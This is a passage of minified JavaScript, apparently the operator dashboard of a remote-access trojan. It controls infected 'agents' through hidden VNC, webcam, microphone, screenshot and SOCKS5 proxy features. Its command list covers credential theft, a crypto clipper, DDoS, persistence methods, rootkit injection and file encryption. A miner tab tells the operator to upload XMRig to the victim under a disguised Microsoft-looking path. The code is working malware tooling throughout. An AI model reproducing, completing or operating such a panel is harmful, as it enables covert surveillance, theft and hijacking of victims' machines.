${_}m ${O}s`:_>0?`${_}m ${O}s`:`${O}s`};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),b&&x&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),a.jsx("button",{onClick:z,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),a.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[a.jsx(Ca,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),a.jsx(Ca,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),a.jsx(Ca,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),a.jsx(Ca,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),a.jsx(Ca,{label:"Uptime",value:x.uptime!=null?k(x.uptime):"-"}),a.jsx(Ca,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&a.jsx("div",{className:"px-4 pb-3",children:a.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),a.jsx("select",{value:n,onChange:S=>r(S.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:$2.map(S=>a.jsx("option",{value:S,children:S},S))})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),a.jsx("input",{type:"text",value:i,onChange:S=>s(S.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),a.jsx("input",{type:"text",value:o,onChange:S=>l(S.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:S=>u(Number(S.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"10%"}),a.jsx("span",{children:"25%"}),a.jsx("span",{children:"50%"}),a.jsx("span",{children:"75%"}),a.jsx("span",{children:"100%"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:b?a.jsxs("button",{onClick:N,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):a.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),a.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:a.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",a.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function Ca({label:e,value:t,valueClass:n}){return a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[a.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const B2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],fV={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},_m=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function mV(){const{id:e}=rl(),t=xr(),[n,r]=Sx(),[i,s]=m.useState(null),[o,l]=m.useState([]),[c,u]=m.useState([]),[d,f]=m.useState(!0),[p,h]=m.useState(""),[x,g]=m.useState(""),[y,v]=m.useState(!1),[b,w]=m.useState(!1),[j,N]=m.useState(()=>{const R=n.get("tab");return R&&_m.includes(R)?R:"overview"}),[z,k]=m.useState(()=>{const R=n.get("tab"),fe=new Set(["overview"]);return R&&_m.includes(R)&&fe.add(R),fe}),[S,A]=m.useState(null),[_,O]=m.useState(!0),[P,I]=m.useState(!1),[Y,D]=m.useState(null),[M,W]=m.useState(new Set),[$,H]=m.useState(()=>n.get("auto")==="1"),[F,K]=m.useState(null),[Z,oe]=m.useState(-1),[de,be]=m.useState(!1),ye=m.useRef(null);m.useEffect(()=>{k(R=>{if(R.has(j))return R;const fe=new Set(R);return fe.add(j),fe})},[j]),m.useEffect(()=>{k(new Set(["overview"]))},[e]),m.useEffect(()=>{const R=n.get("tab");R&&_m.includes(R)&&R!==j&&N(R)},[n]);const G=R=>{N(R),R==="overview"?n.delete("tab"):n.set("tab",R),r(n,{replace:!0})},te=m.useCallback(async()=>{if(e)try{const R=await qE(e);s(R),h("");try{const fe=await Xn(e);l(fe.tasks??[]),u(fe.results??[])}catch{l([]),u([])}}catch(R){s(null);const fe=R instanceof Error&&"status"in R?R.status:"network";h(R instanceof Error?`${R.message} (${fe})`:String(R))}finally{f(!1)}},[e]);m.useEffect(()=>{te();const R=setInterval(te,5e3);return()=>clearInterval(R)},[te]),m.useEffect(()=>{if(!e)return;let R=!0;const fe=async()=>{try{const V=await u_(e);R&&K(V)}catch{R&&K(null)}};fe();const ve=setInterval(fe,3e3);return()=>{R=!1,clearInterval(ve)}},[e]),m.useEffect(()=>{if(!S)return;const R=fe=>{fe.key==="Escape"&&A(null)};return window.addEventListener("keydown",R),()=>window.removeEventListener("keydown",R)},[S]);const C=m.useMemo(()=>[...o].sort((R,fe)=>new Date(R.created_at).getTime()-new Date(fe.created_at).getTime()),[o]),q=5e3,ne=m.useMemo(()=>{var fe;const R=[];for(const ve of C){const V=(fe=ve.args)!=null&&fe.length?" "+ve.args.join(" "):"";R.push({type:"command",content:`${ve.command}${V}`,timestamp:ve.created_at});const ae=c.find(U=>U.task_id===ve.id);ae?(ae.error&&R.push({type:"error",content:ae.error,timestamp:ae.completed_at}),ae.output&&R.push({type:"output",content:ae.output,timestamp:ae.completed_at})):ve.status==="queued"||ve.status==="sent"?R.push({type:"system",content:`[${ve.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):ve.status==="timeout"&&R.push({type:"error",content:"[Task timed out]"})}if(R.length>q){const ve=R.slice(R.length-q);return ve.unshift({type:"system",content:`[Output truncated: showing last ${q.toLocaleString()} of ${R.length.toLocaleString()} lines]`}),ve}return R},[C,c]),B=m.useMemo(()=>{const R=[];for(const fe of C){if(fe.command!=="screenshot")continue;const ve=c.find(V=>V.task_id===fe.id);if(ve!=null&&ve.data){const V=uA(ve.data)?cA(ve.data):`data:image/png;base64,${ve.data}`;R.push({taskId:fe.id,timestamp:ve.completed_at,dataUrl:V})}}return R},[C,c]),le=x?B2.filter(R=>R.startsWith(x.split(" ")[0])&&R!==x.split(" ")[0]):B2;async function we(R){var ae;if(R.preventDefault(),!e||!x.trim())return;const fe=x.trim().split(/\s+/),ve=fe[0],V=fe.slice(1);v(!0),w(!1);try{await Me(e,{command:ve,args:V}),g(""),D(null),setTimeout(te,500)}catch(U){D(`[SEND FAILED] ${U instanceof Error?U.message:"Unknown error"}`)}finally{v(!1),(ae=ye.current)==null||ae.focus()}}function Ne(R){var fe;g(R+" "),w(!1),(fe=ye.current)==null||fe.focus()}if(d)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"flex flex-col items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),p&&a.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:p}),a.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent + hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-4 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const Ae=i.hostname||"unknown";return a.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim + hover:text-zerin-accent transition-colors px-2 py-1 + hover:bg-zerin-accent-muted`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),a.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:Ae}),a.jsx(hd,{status:i.status,size:"md",showLabel:!0}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:to(i.id)}),i.elevated&&a.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&a.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[a.jsxs("button",{onClick:async()=>{try{await Px(i.id);const R=st(),fe=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&R){const ve=V=>{var ae;((ae=V.data)==null?void 0:ae.type)==="zerin_auth_request"&&V.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:R},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),a.jsxs("button",{onClick:async()=>{try{await z5(i.id);const R=st(),fe=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&R){const ve=V=>{var ae;((ae=V.data)==null?void 0:ae.type)==="zerin_auth_request"&&V.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:R},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),a.jsxs("div",{className:"relative",children:[a.jsxs("button",{onClick:()=>be(R=>!R),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",a.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),de&&a.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[a.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),a.jsxs("select",{value:Z,onChange:R=>oe(Number(R.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[a.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(R=>a.jsxs("option",{value:R,children:["Camera ",R]},R))]}),a.jsx("button",{onClick:async()=>{be(!1);try{await S5(i.id,Z);const R=st(),fe=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(fe&&R){const ve=V=>{var ae;((ae=V.data)==null?void 0:ae.type)==="zerin_auth_request"&&V.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:R},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),a.jsxs("button",{onClick:async()=>{try{await C5(i.id);const R=st(),fe=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(fe&&R){const ve=V=>{var ae;((ae=V.data)==null?void 0:ae.type)==="zerin_auth_request"&&V.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:R},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),a.jsxs("button",{onClick:async()=>{try{await Me(i.id,{command:"screenshot"}),G("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),a.jsxs("button",{onClick:()=>I(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),a.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[a.jsx(Nn,{label:"Overview",active:j==="overview",onClick:()=>G("overview")}),a.jsx(Nn,{label:"Screenshots",active:j==="screenshots",onClick:()=>G("screenshots"),badge:B.length>0?B.length:void 0}),a.jsx(Nn,{label:"Files",active:j==="files",onClick:()=>G("files")}),a.jsx(Nn,{label:"Processes",active:j==="processes",onClick:()=>G("processes")}),a.jsx(Nn,{label:"Windows",active:j==="windows",onClick:()=>G("windows")}),a.jsx(Nn,{label:"Apps",active:j==="apps",onClick:()=>G("apps")}),a.jsx(Nn,{label:"System",active:j==="system",onClick:()=>G("system")}),a.jsx(Nn,{label:"Troll",active:j==="troll",onClick:()=>G("troll")}),a.jsx(Nn,{label:"Credentials",active:j==="credentials",onClick:()=>G("credentials")}),a.jsx(Nn,{label:"Clipper",active:j==="clipper",onClick:()=>G("clipper")}),a.jsx(Nn,{label:"DDoS",active:j==="ddos",onClick:()=>G("ddos")}),a.jsx(Nn,{label:"Miner",active:j==="miner",onClick:()=>G("miner")})]}),a.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[a.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:a.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[a.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[a.jsxs(Am,{title:"System",children:[a.jsx(an,{label:"Hostname",value:i.hostname}),a.jsx(an,{label:"Username",value:i.username}),a.jsx(an,{label:"OS",value:Lo(i.os)}),a.jsx(an,{label:"Architecture",value:i.arch}),a.jsx(an,{label:"PID",value:String(i.pid),mono:!0}),a.jsx(an,{label:"Integrity",value:i.integrity}),a.jsx(an,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),a.jsxs(Am,{title:"Network",children:[a.jsx(an,{label:"Internal IP",value:i.internal_ip,mono:!0}),a.jsx(an,{label:"External IP",value:i.external_ip,mono:!0})]}),a.jsxs(Am,{title:"Timing",children:[a.jsx(an,{label:"Sleep / Jitter",value:T5(i.sleep_interval,i.jitter),mono:!0}),a.jsx(an,{label:"First Seen",value:Mo(i.first_seen)}),a.jsx(an,{label:"Last Seen",value:Jc(i.last_seen)}),a.jsx(an,{label:"Agent ID",value:to(i.id),mono:!0})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),a.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${F!=null&&F.active?"bg-emerald-400":"bg-zinc-600"}`})]}),a.jsx("div",{className:"px-4 py-3",children:F!=null&&F.active?a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),a.jsx("span",{className:"font-mono text-zerin-text",children:F.port?`127.0.0.1:${F.port}`:"-"})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),a.jsx("span",{className:"font-mono text-zerin-text",children:F.channels})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),a.jsxs("span",{className:"font-mono text-zerin-text",children:[Tp(F.bytes_in)," in / ",Tp(F.bytes_out)," out"]})]}),a.jsx("button",{onClick:async()=>{try{await c_(i.id),K({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):a.jsxs("div",{className:"space-y-2",children:[a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&a.jsx("button",{onClick:async()=>{try{const R=await P5(i.id);K({active:!0,port:R.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),a.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),a.jsx("div",{className:"overflow-x-auto",children:C.length===0?a.jsx("div",{className:"px-4 py-12 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map(R=>{var ve;const fe=(ve=R.args)!=null&&ve.length?" "+R.args.join(" "):"";return a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[R.command,fe]}),a.jsx("td",{className:"px-4 py-2.5",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${fV[R.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:R.status})}),a.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:Mo(R.created_at)})]},R.id)})})]})})]})})]})}),z.has("files")&&a.jsx("div",{style:{display:j==="files"?void 0:"none"},children:a.jsx(GU,{agentId:i.id,agentStatus:i.status})}),z.has("processes")&&a.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:a.jsx(XU,{agentId:i.id,agentStatus:i.status})}),z.has("windows")&&a.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:a.jsx(ZU,{agentId:i.id,agentStatus:i.status})}),z.has("apps")&&a.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:a.jsx(QU,{agentId:i.id,agentStatus:i.status})}),z.has("system")&&a.jsx("div",{style:{display:j==="system"?void 